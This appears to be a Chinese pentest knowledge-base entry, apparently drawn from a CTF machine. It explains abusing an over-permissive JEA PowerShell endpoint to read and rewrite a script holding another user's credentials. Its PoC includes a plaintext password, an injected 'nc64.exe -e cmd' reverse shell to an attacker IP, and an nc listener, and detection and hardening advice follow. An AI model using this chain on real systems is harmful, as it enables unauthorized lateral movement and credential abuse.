♧ Godown 安全知识树

JEA/受限 PowerShell Remoting 端点暴露 Get/Set-Content 时改写特权用户脚本实现横向

pentest/lateral-movement · verified

一句话结论

JEA(Just Enough Administration)/自定义 PowerShell Remoting 会话配置若向低权限用户开放 Get-Content、Set-Content、Get-ChildItem 等 cmdlet 且未限制可访问路径,攻击者可在端点身份下读取其他用户桌面上的脚本与文件,并改写脚本内容;当该脚本中包含特权用户的 PSCredential 或被既定任务/人工触发执行时,就会以更高权限运行攻击者注入的命令,实现横向移动与提权。

原理

  • 端点即权限边界:Invoke-Command -ComputerName <host> -ConfigurationName <name> -Credential <cred> 会把脚本块发送到目标机的 PowerShell Remoting 会话配置(JEA 端点)执行;可见命令由 Role Capabilities 限定,Get-Command 只返回被授权的 cmdlet。
  • 约束过宽:原文端点 dc_manage 允许 Get-Alias、Get-ChildItem、Get-Command、Get-Content、Get-Location、Set-Content、Set-Location、Write-Output。这些读/写文件系统的 cmdlet 没有被目录白名单限制,等于给了“以端点账户身份读写任意文件”的能力。
  • 读取敏感文件:攻击者用获知的域凭据(原文为 acute\imonks)调用端点,Get-Content 读取 C:\Users\imonks\desktop\user.txt 与 wm.ps1;后者保存了 $securepasswd、用 ConvertTo-SecureString 构造的 acute\jmorgan PSCredential,以及 Invoke-Command -ComputerName Acute-PC01 -Credential $creds 的执行逻辑。
  • 脚本篡改 + 触发:用 Set-Content(或先 Get-Content -Raw 再替换、写回)把脚本中的 Get-Volume 替换为 C:\utils\nc64.exe -e cmd <attacker> 443,再通过端点调用该脚本;脚本按其内置逻辑以 jmorgan 凭据在 Acute-PC01 上执行,回连得到 jmorgan shell——从低权限端点用户横向到另一账户/主机。
  • 为什么成立:JEA 的约束只在“命令可见性”和参数(部分 Role Capabilities 可用 VisibleCmdlets/FunctionDefinitions 限制),一旦放开了通用文件读写 cmdlet,端点账户能触达的路径就是实际权限边界;脚本中的 PSCredential 又能被端点复用(无需解密明文),形成“端点 → 敏感文件 → 特权凭据 → 远程执行”的链。
  • 前提:需要某个可登录端点的域用户凭据;端点所在主机可达 WinRM(5985/5986);目标脚本对端点账户可读可写。

触发条件

  • 存在 JEA/自定义 PSSessionConfiguration 端点,且调用者持有可访问该端点的域账户凭据。
  • Role Capabilities 暴露读/写文件系统 cmdlet(尤其 Set-Content)且未限制路径。
  • 端点可访问的目录中存在含凭据的脚本、启动脚本或可被定时/人工执行的脚本。
  • 脚本中的凭据在目标主机/账户上下文中有效,或脚本会被更高权限进程执行。

利用步骤

  1. 枚举可用端点与授权命令:Invoke-Command -ScriptBlock { Get-Command } -ComputerName <host> -ConfigurationName <name> -Credential $cred,记录 Get-Content、Set-Content 等。
  2. 枚举用户目录与脚本:Get-ChildItem ..\desktop、Get-Content C:\Users\<user>\Desktop\<script>.ps1。
  3. 分析脚本中的凭据与执行逻辑(PSCredential、Invoke-Command、计划任务、启动项)。
  4. 备份原脚本内容,用 Set-Content 把目标命令替换/注入脚本(或改写整段逻辑)。
  5. 通过端点调用脚本(Invoke-Command -ScriptBlock { C:\path\script.ps1 } ...)或等待计划任务/用户登录触发。
  6. 接收反弹 shell/验证命令执行,随后收集哈希、横向或持久化。
  7. 清理:恢复脚本原内容、删除投放工具、评估端点日志。

PoC

# 0) 以 imonks 凭据访问 dc_manage 端点
$pass = ConvertTo-SecureString "w3_4R3_th3_f0rce." -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("acute\imonks", $pass)

# 1) 枚举端点允许的命令(JEA Role Capabilities)
Invoke-Command -ScriptBlock { Get-Command } -ComputerName ATSSERVER `
  -ConfigurationName dc_manage -Credential $cred
# 仅见 Get-Alias/Get-ChildItem/Get-Command/Get-Content/Get-Location/Set-Content/Set-Location/Write-Output

# 2) 读取桌面脚本与 user.txt
Invoke-Command -ScriptBlock { Get-Content C:\Users\imonks\Desktop\wm.ps1 } `
  -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
# 脚本内含 $securepasswd + PSCredential("acute\jmorgan",...) + Invoke-Command -ComputerName Acute-PC01

# 3) 篡改脚本:把 Get-Volume 替换为反弹命令
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred `
  -ScriptBlock { ((Get-Content "c:\Users\imonks\Desktop\wm.ps1" -Raw) -replace 'Get-Volume','C:\utils\nc64.exe -e cmd 10.10.16.10 443') | Set-Content -Path c:\users\imonks\Desktop\wm.ps1 }

# 4) 通过端点触发脚本,脚本以 jmorgan 凭据在 Acute-PC01 上执行
Invoke-Command -ScriptBlock { C:\users\imonks\desktop\wm.ps1 } `
  -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
# 攻击者监听
rlwrap -cAr nc -lvnp 443
# 回连 shell: C:\Users\jmorgan\Documents>

变体与关联

  • 变体:端点允许 New-Item/Copy-Item/Remove-Item 时可直接投放/替换文件;允许 Invoke-Expression/Start-Process 时可跳过脚本直接执行。
  • 变体:脚本不含凭据但被计划任务以 SYSTEM/管理员运行,同样可通过改写实现提权。
  • 关联:[[pentest-lateral-movement-winrm-5985-interactive-pywinrm-basic]](WinRM 交互式基础)、[[pentest-lateral-movement-powershell-transcript-credential-harvest]](PowerShell 凭据痕迹)、[[pentest-lateral-movement-psreadline-history-credential-harvest]](历史命令凭据)、[[pentest-ad-smb-clixml-psadpasswordcredential-plaintext]](保存的凭据复用)。
  • 边界:JEA 只暴露只读或无文件写 cmdlet、路径被严格限制到非敏感目录、脚本凭据已失效/启用 MFA、WinRM 不可达时链失效。

检测与防御

  • 检测:WinRM/JEA 端点出现的 Set-Content/Get-Content 调用与异常脚本路径;桌面脚本文件内容/修改时间变化;随后由该主机发起的外联(nc64 等)与 Invoke-Command 到其他主机。
  • 防御:JEA Role Capabilities 采用最小授权,禁止 Set-Content/New-Item 等写 cmdlet 或把可写路径限制到专用目录;不要在脚本中以 PSCredential 形式保存可复用的特权凭据(改用 gMSA/托管身份/凭据管理器并限制读取)。
  • 加固:禁用不必要的 PowerShell Remoting 端点;对端点调用与脚本修改做审计(4104/4688/事件日志);脚本目录只允许管理员写;对 wsmprovhost.exe 子进程与异常外联告警。